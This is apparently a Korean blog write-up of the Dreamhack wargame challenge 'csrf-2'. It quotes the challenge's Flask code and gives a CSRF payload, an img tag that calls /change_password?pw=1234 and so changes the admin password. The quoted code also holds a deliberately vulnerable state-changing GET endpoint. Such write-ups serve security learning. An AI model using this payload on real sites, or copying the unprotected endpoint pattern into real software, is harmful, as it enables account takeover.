본문 바로가기

Wargame(hacking)/Dreamhack

Dreamhack : csrf-2

Write-Up

 

@app.route("/flag", methods=["GET", "POST"])
# flag 페이지 라우팅 (GET, POST 요청을 모두 받음)
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        session_id = os.urandom(16).hex()
        # 무작위 세션 ID 생성 후 16진수 문자열로 변환

        session_storage[session_id] = 'admin'
        # 세션 ID를 키로 사용하여 'admin' 값을 session_storage 딕셔너리에 저장

        if not check_csrf(param, {"name":"sessionid", "value": session_id}):
        # CSRF 토큰 (세션 ID)이 유효한지 확인
            return '<script>alert("wrong??");history.go(-1);</script>'
        return '<script>alert("good");history.go(-1);</script>'

@app.route("/change_password")
def change_password():
    pw = request.args.get("pw", "")
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    users[username] = pw
    return 'Done'

 

/flag 경로에서, admin 에 대한 session_id가 저장되므로, /flag 경로에서 /change_password를 요청한다면, admin의 비밀번호를 변경할 수 있다. 아래와 같은 payload를 사용해준다. 

 

payload

<img src="/change_password?pw=1234" >